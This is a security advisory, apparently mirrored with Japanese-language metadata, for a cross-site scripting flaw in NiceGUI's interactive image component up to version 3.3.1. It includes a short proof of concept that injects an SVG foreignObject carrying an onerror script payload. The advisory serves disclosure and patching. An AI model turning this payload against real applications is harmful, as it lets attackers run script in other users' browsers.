NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content

説明

Summary

A Cross-Site Scripting (XSS) vulnerability exists in the ui.interactive_image component of NiceGUI (v3.3.1 and earlier). The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG <foreignObject> tag.

Details

The vulnerability is located in nicegui/elements/interactive_image.js.
The component uses the following code to render content:

<g v-html="content"></g>

Vue's v-html directive renders raw HTML strings into the DOM. If an application allows user-controlled input to be passed to the content property of an interactive image, an attacker can embed a <foreignObject> tag containing malicious scripts, bypassing typical image restrictions.

PoC

from nicegui import ui

@ui.page(&#x27;/&#x27;)
def main():
    ui.label(&#x27;NiceGUI SVG XSS PoC&#x27;)

    # Standard image loading
    img = ui.interactive_image(&#x27;[https://picsum.photos/640/360](https://picsum.photos/640/360)&#x27;)

    # Payload: Embeds raw HTML execution inside SVG
    # This executes immediately when the image component is rendered
    img.content = (
        &#x27;&lt;foreignObject&gt;&#x27;
        &#x27;&lt;body xmlns=&quot;[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)&quot;&gt;&#x27;
        &#x27;&lt;img src=x onerror=alert(&quot;XSS-SVG&quot;)&gt;&#x27;
        &#x27;&lt;/body&gt;&#x27;
        &#x27;&lt;/foreignObject&gt;&#x27;
    )

ui.run()

Impact

  • Type: Reflected / Stored XSS (depending on data source)

  • Severity: Moderate

  • Impact: Attackers can inject malicious scripts that execute whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations.

基本情報

タイプ
reviewed
深刻度
medium
GitHub 上のアドバイザリ
アドバイザリを開く ↗
リポジトリのアドバイザリ
リポジトリのアドバイザリを開く ↗
ソースコード
ソースを見る ↗
公開(アドバイザリ)
2025-12-08 21:30:39 UTC
更新
2025-12-09 16:32:10 UTC
GitHub レビュー済み
2025-12-08 21:30:39 UTC
NVD で公開
2025-12-08

EPSS Score

Score Percentile
0.02% 5.44%

CVSS Scores

Base score Version Severity Vector
6.1 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N クリックして展開
攻撃ベクター (AV:N)
インターネットなど、ルーティングされたネットワーク越しに遠隔から悪用しうる。端末の前にいる必要はない。
攻撃の複雑さ (AC:L)
攻撃者が条件を満たせば、レース条件や珍しい構成に依存せずに再現しやすい。
必要な権限 (PR:N)
事前のログインや昇格は不要で、匿名アクセスのまま踏み台にしうる。
ユーザーの関与 (UI:R)
インストールの許可、設定変更、悪意あるファイルの実行など、人の一度の判断がトリガーになる。
スコープ (S:C)
脆弱箇所を足がかりに、別コンポーネントや別権限域まで影響が広がりうる。
機密性への影響 (C:L)
一部のデータや属性が漏えいしうるが、全件一括流出といった規模には至らない。
完全性への影響 (I:L)
レコードの一部書き換えや設定の歪みなど、限定的だが検知・復旧が必要な水準。
可用性への影響 (A:N)
業務継続に支障が出るレベルの停止や劣化は想定されない。

Identifiers

CWEs

CWE id Name
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Credits

  • twmoon (reporter)
  • evnchn (remediation_developer)
  • falkoschindler (remediation_reviewer)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip nicegui <= 3.3.1 3.4.0

References

cvelogic Threat Intelligence